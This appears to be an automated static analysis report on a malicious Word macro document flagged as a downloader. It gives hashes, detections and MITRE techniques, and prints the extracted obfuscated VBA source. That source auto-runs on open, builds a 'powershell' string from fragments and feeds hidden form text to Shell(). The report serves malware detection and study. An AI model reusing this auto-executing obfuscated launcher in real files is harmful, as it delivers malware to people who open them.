Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0935fcf67e175bee…

MALICIOUS

Office (OLE)

266.5 KB Created: 2019-02-05 21:06:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 887a8e8b252f5303061bc41229ba29bb SHA-1: b33bc288b8facdb9686f86ac1ccc97ed18470969 SHA-256: 0935fcf67e175bee0dcacdcefd79e11fef9fa10c57d86d66c4926db09f76ea8c
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function to execute arbitrary commands. This indicates the document is designed to download and run a secondary payload. The ClamAV detection of 'Doc.Downloader.Sagent-6852537-0' further supports its malicious nature as a downloader.

Heuristics 6

  • ClamAV: Doc.Downloader.Sagent-6852537-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-6852537-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1878 bytes
SHA-256: 2d333872a9c4206e57d77795ea9ba87a6b6861244b1a441b0b897680cfcabd34
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Dim AlpjncPym As Long
AlpjncPym = (-541 + 553) - (10)
Dim NzD8Qq As Long
NzD8Qq = (-541 + 553) * (10)
Dim sYkgZ7Xjb() As Byte
Dim MDlCHWUXt As String
MDlCHWUXt = v956A
Call w("er")
End Sub

Attribute VB_Name = "sIpNl0ZEt"
Sub w(kJAe6)
Dim WcVm1C(3 To 199) As Long
WcVm1C(3) = 5292 / 49
Dim ijb2Ow(13 To 224) As String
ijb2Ow(13) = "rwc1o"
Dim fjZHo06N5 As Long
fjZHo06N5 = (537 - 525) + (3)
Dim jC81RB5i As Long
jC81RB5i = (150 - 132) / (45)
Dim j4OK9e3ds() As Byte
FkDYNil = "SHE" & "LL "
EdjVlBTfh = "ow"
JZH2T = kJAe6
Dim PkS8qVs() As Byte
Call z5bP7(EdjVlBTfh & JZH2T & FkDYNil & u2HnRLAg)
End Sub

Attribute VB_Name = "iDiyq"
Public Function oukAVE31P() As String
Dim TmlGg6LI
TmlGg6LI = iwyrhm
oukAVE31P = "p"
End Function
Function z5bP7(To2hKSqP)
z5bP7 = Shell(oukAVE31P() & To2hKSqP, False)
End Function

Attribute VB_Name = "NoRnJ"
Public Function u2HnRLAg()
Dim fwfKkBoDi As Object
Set fwfKkBoDi = New f
Dim ensTe As String
Dim m80A5(113) As Byte
ensTe = fwfKkBoDi.de.Text
Dim JzaF7w(6 To 202) As String
JzaF7w(6) = "AWnbd6eiu"
Dim lHrn4KEx(223) As Byte
Dim pINbUO(6 To 47) As Long
pINbUO(6) = 176 - 13
Dim vgZvHr As String
vgZvHr = oSh2gb6L7
u2HnRLAg = ensTe
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{167AC9B8-8C6C-4BBB-8879-EDCC8676C87C}{FDED8853-0DF4-40DE-AAC4-5A5F41D66557}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False